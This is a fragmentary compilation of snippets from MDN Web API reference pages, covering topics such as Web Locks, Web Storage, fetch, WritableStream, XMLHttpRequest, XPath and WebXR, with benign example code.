...the values can be hard to manipulate sometimes and depending on your use case it can take some time to get them right. note: there are slight differences in the way the audio spatialization sounds across different browsers. ...
Web Locks API - Web APIs
fied. there can be only one "exclusive" holder of a lock, but multiple "shared" requests can be granted at the same time. this can be used to implement the readers-writer pattern. signal: an abortsignal can be passed in, allowing a lock request to be aborted. this can be used to implement a timeout on requests. ifavailable: if specified, the lock request will fail if the lock cannot be granted i
mmediately without waiting. the callback is invoked with null. monitoring the navigator.locks.query() method can be used by scripts to introspect the state of the lock manager for the origin. this can be useful when debugging, for example, identifying why a lock could not be acquired. the results are a snapshot of the lock manager state, which identifies held and requested locks and some addition...
...ther script in the page is not affected. interfaces lock provides the name and mode of a previously requested lock, which is received in the callback to lockmanager.request(). lockmanager provides methods for requesting a new lock object and querying for an existing lock object. to get an instance of lockmanager, call navigator.locks. specifications specification status co
mment web locks api draft initial definition. ...
Using the Web Storage API - Web APIs
gs (note that, as with objects, integer keys will be automatically converted to strings). you can access these values like an object, or with the storage.getitem() and storage.setitem() methods. these three lines all set the (same) colorsetting entry: localstorage.colorsetting = '#a4509b'; localstorage['colorsetting'] = '#a4509b'; localstorage.setitem('colorsetting', '#a4509b'); note: it's reco
mmended to use the web storage api (setitem, getitem, removeitem, key, length) to prevent the pitfalls associated with using plain objects as key-value stores. the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads an...
...e data. ...
Functions and classes available to Web Workers - Web APIs
cope yes, on workerglobalscope yes, but is a no-op. unknown no postmessage() yes, on dedicatedworkerglobalscope no no unknown no apis available in workers function functionality support in gecko (firefox) support in ie support in blink (chrome and opera) support in webkit (safari) broadcast channel api allows simple co
mmunication between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site). 38 (38) no support no support no support cache cache api provides the ability to progra
mmatically control cache storage associated with current origin. (yes) no support 43 ? channel messaging api allows two separate...
... 41 (41) (yes) (yes) (yes) console api provides access to the browser's debugging console (e.g., the web console in firefox). the specifics of how it works vary from browser to browser, but there is a de facto set of features that are typically provided. ...
Window: pageshow event - Web APIs
t.type); break; } }; events.foreach(eventname => window.addeventlistener(eventname, eventlogger) ); html <p>open the console and watch the output as you navigate to and from this page. ...
... new pages into this tab, then navigating forward and backward through history, noting the events’ output to the log.</p> results specifications specification status co
mment html living standardthe definition of 'pageshow' in that specification. living standard initial specification. html5the definition of 'pageshow' in that specification. reco
mmendation ...
Window.performance - Web APIs
...
...tion timing api, the user timing api, and the resource timing api. syntax performancedata = window.performance; value a performance object offering access to the performance and timing-related information offered by the apis it exposes. specifications specification status co
mment high resolution timethe definition of 'window.performance' in that specification. reco
mmendation defines now() method. ...
Window.personalbar - Web APIs
r displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above. ...
...pdating the visibilty of the various toolbars can change the size of the window rather dramatically, and may affect the layout of your page. ...
Window: popstate event - Web APIs
ed), displayed, made visible, and so on, after the pageshow event is sent, but before the persisted user state information is restored and the hashchange event is sent. to better understand when the popstate event is fired, consider this simplified sequence of events that occurs when the current history entry changes due to either the user navigating the site or the history being traversed progra
mmatically. here, the transition is changing the current history entry to one we'll refer to as new-entry. the current page's session history stack entry will be referred to as current-entry. if new-entry doesn't currently contain an existing document, fetch the content and create its document before continuing. this will eventually send events such as domcontentloaded and load to the window cont...
...if new-entry's document is already fully loaded and ready—that is, its readystate is complete—and the document is not already visible, it's made visible and the pageshow event is fired at the document with the pagetransitionevent's persisted attribute set to true. the document's url is set to that of new-entry. if the history traversal is being performed with replacement enabled, the entry i
mmediately prior to the destination entry (taking into account the delta parameter on methods such as go()) is removed from the history stack. if the new-entry doesn't have persisted user state and its url's fragment is non-null, the document is scrolled to that fragment. next, current-entry is set to new-entry. the destination entry is now considered to be current. if new-entry has serialized st...
Window.print() - Web APIs
living standard browser compatibility the compatibility table in this page is generated from structured data. ...
... living standard browser compatibility the compatibility table in this page is generated from structured data. ...
Window.requestAnimationFrame() - Web APIs
ionframe() if you want to animate another frame at the next repaint. you should call this method whenever you're ready to update your animation onscreen. this will request that your animation function be called before the browser performs the next repaint. the number of callbacks is usually 60 times per second, but will generally match the display refresh rate in most web browsers as per w3c reco
mmendation. requestanimationframe() calls are paused in most browsers when running in background tabs or hidden <iframe>s in order to improve performance and battery life. the callback method is passed a single argument, a domhighrestimestamp, which indicates the current time (based on the number of milliseconds since time origin). when callbacks queued by requestanimationframe() begin to fire mult...
... living standard no change, supersedes the previous one. timing control for script-based animationsthe definition of 'requestanimationframe' in that specification. obsolete initial definition ...
window.requestIdleCallback() - Web APIs
. functions are generally called in first-in-first-out order; however, callbacks which have a timeout specified may be called out-of-order if necessary in order to run them before the timeout elapses. you can call requestidlecallback() within an idle callback function to schedule another callback to take place no sooner than the next pass through the event loop. a timeout option is strongly reco
mmended for required work, as otherwise it's possible multiple seconds will elapse before the callback is fired. syntax var handle = window.requestidlecallback(callback[, options]) return value an id which can be used to cancel the callback by passing it into the window.cancelidlecallback() method. parameters callback a reference to a function that should be called in the near future, when ...
...ified and has a positive value, and the callback has not already been called by the time timeout milliseconds have passed, the callback will be called during the next idle period, even if doing so risks causing a negative performance impact. example see our complete example in the article cooperative scheduling of background tasks api. specifications specification status co
mment cooperative scheduling of background tasks proposed reco
mmendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandr...
Window.scrollbars - Web APIs
x objref = window.scrollbars example the following complete html example shows how the visible property of the scrollbars object is used. ...
...itle> <script> let visiblescrollbars = window.scrollbars.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status co
mment html living standardthe definition of 'window.scrollbars' in that specification. living standard html5the definition of 'window.scrollbars' in that specification. reco
mmendation ...
Window.statusbar - Web APIs
r displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above. ...
...ly updating the visibilty of the various toolbars can change the size of the window rather dramatically, and may affect the layout of your page. ...
Window.toolbar - Web APIs
ripts or enable the appropriate privileges, as in the example above. ...
...ally, and may affect the layout of your page. ...
Window.window - Web APIs
y get the document location. another advantage, is that the objects of such a class (even if the class were defined outside of a module) could change their reference to the window at will, they would not be able to do this if they had hard-coded a reference to "window". the default in the class could still be set as the current window object. ...
...ed a reference to "window". the default in the class could still be set as the current window object. specifications specification status co
mment html living standardthe definition of 'window.window' in that specification. living standard no difference from the latest snapshot html 5.1 html 5.1the definition of 'window.window' in that specification. reco
mmendation no difference from the html5 html5the definition of 'window.window' in that specification. reco
mmendation first snapshot containing the definition of window.window. ...
WindowOrWorkerGlobalScope.fetch() - Web APIs
gin-when-cross-origin, or unsafe-url. integrity contains the subresource integrity value of the request (e.g., sha256-bpfbw7ivv8q2jlit13fxdyae2tjllusrsz273h2nfse=). keepalive the keepalive option can be used to allow the request to outlive the page. fetch with the keepalive flag is a replacement for the navigator.sendbeacon() api. signal an abortsignal object instance; allows you to co
mmunicate with a fetch request and abort it if desired via an abortcontroller. return value a promise that resolves to a response object. exceptions aborterror the request was aborted due to a call to the abortcontroller method abort() method. typeerror the specified url string includes user credentials. this information should instead be provided using an authorization header. examp...
...t in with the request constructor to get the same effect: let myrequest = new request('flowers.jpg', myinit); you can also use an object literal as headers in init. const myinit = { method: 'get', headers: { 'content-type': 'image/jpeg' }, mode: 'cors', cache: 'default' }; let myrequest = new request('flowers.jpg', myinit); specifications specification status co
mment fetchthe definition of 'fetch()' in that specification. living standard defined in a windoworworkerglobalscope partial in the newest spec. fetchthe definition of 'fetch()' in that specification. living standard initial definition credential management level 1 working draft adds federatedcredential or passwordcredential instance as a possible val...
WindowOrWorkerGlobalScope - Web APIs
each of these interfaces can, of course, add more features in addition to the ones listed below. note: windoworworkerglobalscope is a mixin and not an interface; you can't actually create an object of type windoworworkerglobalscope. properties these properties are defined on the windoworworkerglobalscope mixin, and implemented by window and workerglobalscope. windoworworkerglobalscope.caches read only returns the cachestorage object associated with the current context. this object enables functionality such as storing assets for offline use, and generating custom responses to requests. ...
...ority, code, but before the browser runtime regains control, potentially depending upon the work you need to complete. windoworworkerglobalscope.setinterval() schedules a function to execute every time a given number of milliseconds elapses. windoworworkerglobalscope.settimeout() schedules a function to execute in a given amount of time. specifications specification status co
mment html living standardthe definition of 'windoworworkerglobalscope mixin' in that specification. living standard this is where the main mixin is defined. ...
WorkerGlobalScope.importScripts() - Web APIs
these paths are relative to html document base url. return value none. exceptions networkerror imported scripts were not served with a valid javascript mime type (i.e. text/javascript). ...
... living standard ...
WorkerGlobalScope.performance - Web APIs
...
...urn performance data, as you might do with a normal performance object. note: firefox has a bug with using console.log inside shared/service workers (see bug 1058644), which may return strange results, but this should be fixed soon. specifications specification status co
mment high resolution time level 2the definition of 'performance' in that specification. reco
mmendation defines workerglobalscope.performance. ...
WorkerGlobalScope - Web APIs
d promise rejection events. also available via the workerglobalscope.onunhandledrejection property. methods this interface inherits methods from the eventtarget interface and windoworworkerglobalscope and windoweventhandlers mixins. standard methods workerglobalscope.importscripts() imports one or more scripts into the worker's scope. you can specify as many as you'd like, separated by co
mmas. for example: importscripts('foo.js', 'bar.js'); non-standard methods workerglobalscope.dump() allows you to write a message to stdout — i.e. in your terminal. this is the same as firefox's window.dump, but for workers. methods implemented from elsewhere windoworworkerglobalscope.atob() decodes a string of data which has been encoded using base-64 encoding. windoworworkerglobal...
... living standard ...
Worklet - Web APIs
and gives developers access to low-level parts of the rendering pipeline. with worklets, you can run javascript and webassembly code to do graphics rendering or audio processing where high performance is required. worklet types worklets are restricted to specific use cases; they cannot be used for arbitrary computations like web workers. the worklet interface abstracts properties and methods co
mmon to all kind of worklets, and cannot be created directly. instead, you can use one of the following classes: name description location specification paintworklet for progra
mmatically generating an image where a css property expects a file. access this interface through css.paintworklet. chrome: main thread gecko: paint thread css painting api...
...or 3d rendering with webgl, you don't use worklets. instead, you write vertex shaders and fragment shaders using glsl code, and those shaders will then run on the graphics card. properties the worklet interface does not define any properties. methods worklet.addmodule() adds the script module at the given url to the current worklet. specifications specification status co
mment worklets level 1the definition of 'worklet' in that specification. working draft ...
WritableStream.WritableStream() - Web APIs
he writablestream() constructor creates a new writablestream object instance. syntax var writablestream = new writablestream(underlyingsink[, queuingstrategy]); parameters underlyingsink an object containing methods and properties that define how the constructed stream instance will behave. underlyingsink can contain the following: start(controller) optional this is a method, called i
mmediately when the object is constructed. the contents of this method are defined by the developer, and should aim to get access to the underlying sink. if this process is to be done asynchronously, it can return a promise to signal success or failure. the controller parameter passed to this method is a writablestreamdefaultcontroller. this can be used by the developer to control the stream during ...
...rce can wither write more data (line 11) or call close() (line 24). calling close() too early can prevent data from being written. this is why the example calls defaultwriter.ready twice (lines 9 and 22). the promise returned by the sink's write() method (line 40) tells the writablestream and its writer when to resolve defaultwriter.ready. specifications specification status co
mment streamsthe definition of 'writablestream()' in that specification. living standard initial definition. ...
WritableStream.abort() - Web APIs
syntax var promise = writablestream.abort(reason); parameters reason a domstring providing a human-readable reason for the abort. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to abort is not a writablestream, or it is locked. ...
...meter. exceptions typeerror the stream you are trying to abort is not a writablestream, or it is locked. examples const writablestream = new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... // abort the stream later on, when required writablestream.abort(); specifications specification status co
mment streamsthe definition of 'abort()' in that specification. living standard initial definition. ...
WritableStream - Web APIs
this object comes with built-in backpressure and queuing. constructor writablestream() creates a new writablestream object. properties writablestream.locked read only a boolean indicating whether the writablestream is locked to a writer. methods writablestream.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be i
mmediately moved to an error state, with any queued writes discarded. writablestream.close() closes the stream. writablestream.getwriter() returns a new instance of writablestreamdefaultwriter and locks the stream to that instance. while the stream is locked, no other writer can be acquired until this one is released. examples the following example illustrates several features of this interf...
...urce can either write more data (line 9) or call close() (line 24). calling close() too early can prevent data from being written. this is why the example calls defaultwriter.ready twice (lines 9 and 22). the promise returned by the sink's write() method (line 40) tells the writablestream and its writer when to resolve defaultwriter.ready. specifications specification status co
mment streamsthe definition of 'writablestream' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explorer...
WritableStreamDefaultWriter.abort() - Web APIs
if the writer is active, the abort() method behaves the same as that for the associated stream (writablestream.abort()). if not, it returns a rejected promise. syntax var promise = writablestreamdefaultwriter.abort(reason); parameters reason optional a domstring representing a human-readable reason for the abort. ...
... not a writablestream, or it is locked. examples const writablestream = new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); ... // abort the stream when desired writer.abort.then((reason) => { console.log(reason); }) specifications specification status co
mment streamsthe definition of 'abort()' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter - Web APIs
ue. writablestreamdefaultwriter.readyread only returns a promise that resolves when the desired size of the stream's internal queue transitions from non-positive to positive, signaling that it is no longer applying backpressure. methods writablestreamdefaultwriter.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be i
mmediately moved to an error state, with any queued writes discarded. writablestreamdefaultwriter.close() closes the associated writable stream. writablestreamdefaultwriter.releaselock() releases the writer's lock on the corresponding stream. after the lock is released, the writer is no longer active. if the associated stream is errored when the lock is released, the writer will appear error...
... living standard initial definition. ...
Synchronous and asynchronous requests - Web APIs
in general, however, asynchronous requests should be preferred to synchronous requests for performance reasons. synchronous requests block the execution of code which causes "freezing" on the screen and an unresponsive user experience. asynchronous request if you use an asynchronous xmlhttprequest, you receive a callback when the data has been received. this lets the browser continue to work as normal while your request is being handled. example: send a file to the console log this is the simplest usage of asynchronous xmlhttprequest. ...
... 39.0, and edge 13, synchronous requests on the main thread have been deprecated due to their negative impact on the user experience. synchronous xhr requests often cause hangs on the web. but developers typically don't notice the problem because the hang only manifests with poor network conditions or when the remote server is slow to respond. synchronous xhr is now in deprecation state. the reco
mmendation is that developers move away from the synchronous api and instead use asynchronous requests. all new xhr features such as timeout or abort are not allowed for synchronous xhr. doing so will raise an invalidaccesserror. example: http synchronous request this example demonstrates how to make a simple synchronous request. var request = new xmlhttprequest(); request.open('get', '/bar/foo.
XMLHttpRequest.getResponseHeader() - Web APIs
the getresponseheader() method returns the value as a utf byte sequence. note: the search for the header name is case-insensitive. ...
...(). var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status co
mment xmlhttprequestthe definition of 'getresponseheader()' in that specification. living standard whatwg living standard ...
XMLHttpRequest.sendAsBinary() - Web APIs
however, on google chrome, when you try to send an arraybuffer, the following warning message will appear: arraybuffer is deprecated in xmlhttprequest.send(). use arraybufferview instead. another possible approach to send binary data is the stringview non native typed arrays supercl...
...(nidx) & 0xff; } /* send as arraybufferview...: */ this.send(ui8data); /* ...or as arraybuffer (legacy)...: this.send(ui8data.buffer); */ }; } note: it's possible to build this polyfill putting two types of data as argument for send(): an arraybuffer (ui8data.buffer – the co
mmented code) or an arraybufferview (ui8data, which is a typed array of 8-bit unsigned integers – unco
mmented code). however, on google chrome, when you try to send an arraybuffer, the following warning message will appear: arraybuffer is deprecated in xmlhttprequest.send(). use arraybufferview instead. another possible approach to send binary data is the stringview non native typed arrays superclass in conjunction with the send() method. ...
XMLSerializer.serializeToString() - Web APIs
content not being well-formed. usage notes compatible node types the specified root node—and all of its descendants—must be compatible with the xml serialization algorithm. the root node itself must be either a node or attr object. the following types are also permitted as descendants of the root node, in addition to node and attr: documenttype document documentfragment element co
mment text processinginstruction attr if any other type is encountered, a typeerror exception is thrown. notes on the resulting xml there are some things worth noting about the xml output by serializetostring(): for xml serializations, element and attr nodes are always serialized with their namespaceuri intact. this may mean that a previously-specified prefix or default namespace may be dr...
...ecified prefix or default namespace may be dropped or altered. the resulting xml is compatible with the html parser. elements in the html namespace that have no child nodes (thereby representing empty tags) are serialized with both begin and end tags ("<someelement></someelement>") instead of using the empty-element tag ("<someelement/>"). specifications specification status co
mment dom parsing and serializationthe definition of 'serializetostring()' in that specification. working draft ...
XPathEvaluator.createNSResolver() - Web APIs
led, also correctly resolving the implicit xml prefix. ...
...r a node to be used as a context for namespace resolution. return value an xpathnsresolver object which resolves namespaces with respect to the definitions in scope for a specified node. ...
XPathEvaluator.evaluate() - Web APIs
se of the evaluate() method. ...
...w xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status co
mment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that specification. reco
mmendation initial definition ...
XPathException.code - Web APIs
the code read-only property of the xpathexception interface returns a short that contains one of the error code constants. ...
...ad-only property of the xpathexception interface returns a short that contains one of the error code constants. ...
XPathNSResolver.lookupNamespaceURI() - Web APIs
i associated to the given namespace prefix within an xpath expression evaluated by the xpathevaluator interface. ...
...espaceuri(prefix); parameters prefix a domstring representing the prefix to look for. return value a domstring representing the associated namespace uri or null if none is found. ...
XPathNSResolver - Web APIs
ings in an xpath expression to be properly bound to namespace uri strings. ...
... of xpathnsresolver from a node, or the interface may be implemented by any application. ...
XPathResult.booleanValue - Web APIs
he use of the booleanvalue property. ...
..."//div/text() = 'xpath example'"; var result = document.evaluate(xpath, document, null, xpathresult.boolean_type, null); document.queryselector("output").textcontent = result.booleanvalue; result specifications specification status co
mment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.booleanvalue' in that specification. reco
mmendation initial definition ...
XPathResult.numberValue - Web APIs
ng example shows the use of the numbervalue property. ...
...ascript var xpath = "count(//div)"; var result = document.evaluate(xpath, document, null, xpathresult.number_type, null); document.queryselector("output").textcontent = result.numbervalue; result specifications specification status co
mment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.numbervalue' in that specification. reco
mmendation initial definition ...
XPathResult.snapshotLength - Web APIs
s the use of the snapshotlength property. ...
...path = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status co
mment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotlength' in that specification. reco
mmendation initial definition ...
XPathResult.stringValue - Web APIs
s the use of the stringvalue property. ...
...ascript var xpath = "//div/text()"; var result = document.evaluate(xpath, document, null, xpathresult.string_type, null); document.queryselector("output").textcontent = result.stringvalue; result specifications specification status co
mment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.stringvalue' in that specification. reco
mmendation initial definition ...
XPathResult - Web APIs
ment. any_unordered_node_type 8 a result node-set containing any single node that matches the expression. ...
... not necessarily the first node in the document that matches the expression. ...
XRBoundedReferenceSpace.boundsGeometry - Web APIs
ule, with the origin for x and z located in or near the center of the space, and with the orientation set facing in a logical forward direction, as appropriate for the underlying platform or xr hardware. in order to reduce the risk of the room boundaries being used for fingerprinting purposes, each point in the boundsgeometry array may be rounded or adjusted by some amount. the specification reco
mmends that browsers shift the points to the nearest 5 centimeters (while avoiding going outside the physical limitations of the hardware). boundary size xrboundedreferencespace is not intended to be used for very large bounded areas. instead, it's meant to be used for one-room spaces with no more than around 15 meters of available movement space in any direction from the native origin. that said,...
... is not considered an error condition. although some samples render a mesh or other shape to display the bounds to the user, in a real-world application, you shouldn't do this. the browser, however, should provide appropriate warnings to the user about any risks (such as the risk that they might run into a physical wall if they keep moving). specifications specification status co
mment webxr device apithe definition of 'boundsgeometry' in that specification. working draft initial definition. ...
XREnvironmentBlendMode - Web APIs
the webxr api's enumerated type xrenvironmentblendmode defines strings used to identify if and how to blend the rendered virtual content with the real world. its values are used by the xrsession interface's environmentblendmode property. values opaque the rendered image is drawn without allowing any pass-through imagery. this is primarily used by fully-i
mmersive vr headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all. the alpha values specified in the xrsession's renderstate property's baselayer field are ignored since the alpha values for the rendered imagery are all treated as being 1.0 (fully opaque). additive primarily used by ar devices with transparent lenses which directly allow reality to pass through to the user's ...
...his mode, the xrsession's renderstate.baselayer property provides relative weights of the artificial layer during the compositing process. pixels whose alpha value is 1.0 are rendered fully opaque, totally obscuring the real world, while pixels with an alpha of 1.0 are totally transparent, leaving the surrounding environment to pass through. specifications specification status co
mment webxr augmented reality modulethe definition of 'xrenvironmentblendmode' in that specification. editor's draft initial definition. ...
XRFrame - Web APIs
a webxr device api xrframe object is passed into the requestanimationframe() callback function and provides access to the information needed in order to render a single frame of animation for an xrsession describing a vr or ar sccene. events which co
mmunicate the tracking state of objects also provide an xrframe reference as part of their structure. in addition to providing a reference to the xrsession for which this frame is to be rendered, the getviewerpose() method is provided to obtain the xrviewerpose describing the viewer's position and orientation in space, and getpose() can be used to create an xrpose describing the relative position of one xrspace relative to another. properties session read only the xrsession that for which this xrframe describes the tracking det...
...ormation about a specific object can be obtained by calling one of the methods on the object. methods getpose() returns an xrpose object representing the spatial relationship between the two specified xrspace objects. getviewerpose() returns an xrviewerpose describing the viewer's position and orientation in a given xrreferencespace. specifications specification status co
mment webxr device apithe definition of 'xrframe' in that specification. working draft initial definition. ...
XRInputSource - Web APIs
eze event is sent. this is followed by a squeezeend, which is also sent if the action is aborted rather than completed. if the device has a button or other pressable input control, it is a primary input source, and this button is a primary action. a primary action may occur when the user presses a button, clicks on a touchpad or the top button of a thumb stick, or uses a hand gesture or spoken co
mmand that invokes the button-like action. when a primary action begins, a selectstart event is sent to the xrsession. when the action has completed (such as when the user releases the button), a select event is sent. finally, once that is done—or if the user aborts the action—a selectend event is sent to the session object. an action may be aborted either by the user in some device-specific fa...
...property, which is an xrspace used to map the input's coordinate system into the world coordinate system. the grip space's coordinate system can then be used to render objects so they appear to be held in the user's hand. for more details on the input source's coordinate system, see the article that covers the gripspace property in detail. specifications specification status co
mment webxr device apithe definition of 'xrinputsource' in that specification. working draft initial definition. ...
XRInputSourceEvent() - Web APIs
event types select sent to an xrsession when the sending input source has fully completed a primary action. selectend sent to an xrsession when an ongoing primary action ends, or when an input source with an ongoing primary action has been disconnected from the system. selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a co
mmand-like input, such as pressing a trigger or button, issuing a spoken co
mmand, tapping on a touchpad, or the like. squeeze sent to an xrsession when the sending input source has fully completed a primary squeeze action. squeezeend sent to an xrsession when an ongoing primary squeeze action ends or when an input source with an ongoing primary squeeze action is disconnected. squeezestart sent...
...when the user clicks on (shoots at/pokes at/whatever) objects in the scene. xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status co
mment webxr device apithe definition of 'xrinputsourceevent' in that specification. working draft initial definition. ...
XRInputSourceEvent - Web APIs
event types select sent to an xrsession when the sending input source has fully completed a primary action. selectend sent to an xrsession when an ongoing primary action ends, or when an input source with an ongoing primary action has been disconnected from the system. selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a co
mmand-like input, such as pressing a trigger or button, issuing a spoken co
mmand, tapping on a touchpad, or the like. squeeze sent to an xrsession when the sending input source has fully completed a primary squeeze action. squeezeend sent to an xrsession when an ongoing primary squeeze action ends or when an input source with an ongoing primary squeeze action is disconnected. squeezestart sent...
...when the user clicks on (shoots at/pokes at/whatever) objects in the scene. xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status co
mment webxr device apithe definition of 'xrinputsourceevent' in that specification. working draft initial definition. ...
XRPermissionStatus.granted - Web APIs
such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need. xrreferencespace viewer a tracking space whose native origin tracks the viewer's position and orientation. this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between th...
...f xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between the viewer and an input, or when working with offset spaces. otherwise, typically, one of the other reference space types will be used more often. xrreferencespace usage notes examples specifications specification status co
mment webxr device apithe definition of 'xrpermissionstatus.granted' in that specification. working draft initial definition. ...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
of the orientation when calling new xrrigidtransform(). the new xrrigidtransform's reference space is then fetched and returned to the caller. this new reference space is one in which the viewer's position is unchanged, but their orientation has been altered based on the pitch and yaw values generated from the accumulated mouse inputs. ...
...en drawing a frame, i
mmediately before fetching the viewer's pose using getviewerpose(), and the rendering should be performed in this reference space. you can see code similar to this in use in our broader webxr tutorial article called movement, orientation, and motion. in particular, check out the section called starting the webxr session. specifications specification status co
mment webxr device apithe definition of 'getoffsetreferencespace()' in that specification. working draft initial definition. ...
XRReferenceSpaceType - Web APIs
such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need. xrreferencespace viewer a tracking space whose native origin tracks the viewer's position and orientation. this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between th...
...rted by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between the viewer and an input, or when working with offset spaces. otherwise, typically, one of the other reference space types will be used more often. xrreferencespace specifications specification status co
mment webxr device apithe definition of 'xrreferencespacetype' in that specification. working draft initial definition. ...
XRRenderStateInit - Web APIs
ide of this plane will be rendered. this is 0.1 meters (10 centimeters) by default. inlineverticalfieldofview optional a floating-point value indicating the default field of view, in radians, to be used when computing the projection matrix for an inline xrsession. the projection matrix calculation also takes into account the output canvas's aspect ratio. ...
...10 centimeters) by default. inlineverticalfieldofview optional a floating-point value indicating the default field of view, in radians, to be used when computing the projection matrix for an inline xrsession. the projection matrix calculation also takes into account the output canvas's aspect ratio. this property must not be specified for i
mmersive sessions, so the value is null by default for i
mmersive sessions. the default value is otherwise π * 0.5 (half of the value of pi). usage notes any properties not specified in the xrrenderstateinit compliant object passed into updaterenderstate() are left at their current values. specifications specification status co
mment webxr device apithe definition of 'xrrenderstateinit' in that specification. working dr...
XRRigidTransform.inverse - Web APIs
iew matrix for an object is computed by taking the view matrix and multiplying it by the object's pose matrix. let modelviewmatrix = mat4.create(); for (let view of pose.view) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* ... */ mat4.multiply(modelviewmatrix, view.transform.inverse.matrix, objectmatrix); gl.unifor
mmatrix4fv(programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); /* ... */ } this outline of a renderer's core code shows how the pose's view gets represented by taking its transform's inverse's matrix as the model view matrix used to transform objects based on the viewer's position and orientation. the inverse's matrix is multiplied by the object's matrix...
... working draft initial definition. ...
XRSession.onselect - Web APIs
the onselect property of the xrsession object is the event handler for the select event, which is dispatched when a primary action is completed successfully by the user. this typically represents the pressing of a button or trigger, a hand gesture, or a spoken co
mmand. the select event is sent after tracking of the primary action begins, as announced by the selectstart event, and i
mmediately before the tracking of the primary action ends, which is announced by the selectend event. to learn more about how webxr actions work, see inputs and input sources. syntax xrsession.onselect = selecthandlerfunction; value an event handler function to be invoked when the xrsession receives a select event. example this example handles select event which occur on the user's main hand (as...
... working draft initial definition. ...
XRSession.onsqueezeend - Web APIs
the squeezeend event handler is where you handle closing out a squeeze action whether it was successfully completed or not. to learn more about how the sequence of squeeze events works, see primary squeeze actions in inputs and input sources. ...
... this code presumes that if the user actually intentionally completed the drag, user.heldobject will be null here. that's because (in this example, at least) the handler for the squeeze event has already dropped the object into its new location and then cleared the value of heldobject to indicate that the user is no longer holding anything. specifications specification status co
mment webxr device apithe definition of 'xrsession.onsqueezeend' in that specification. working draft initial definition. ...
XRSession.requestReferenceSpace() - Web APIs
such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need. xrreferencespace viewer a tracking space whose native origin tracks the viewer's position and orientation. this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between th...
...more often. xrreferencespace return value a promise that resolves with an xrreferencespace object. exceptions rather than throwing true exceptions, requestreferencespace() rejects the returned promise with a domexception whose name is found in the list below: notsupportederror the requested reference space is not supported. specifications specification status co
mment webxr device apithe definition of 'requestreferencespace()' in that specification. working draft initial definition. ...
XRSession: select event - Web APIs
the webxr event select is sent to an xrsession when one of the session's input sources has completed a primary action. examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onselect for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses addeventlistener() to set up a handler for the select event. the handler fetches the pose representing th...
... working draft initial definition. ...
XRSession: selectend event - Web APIs
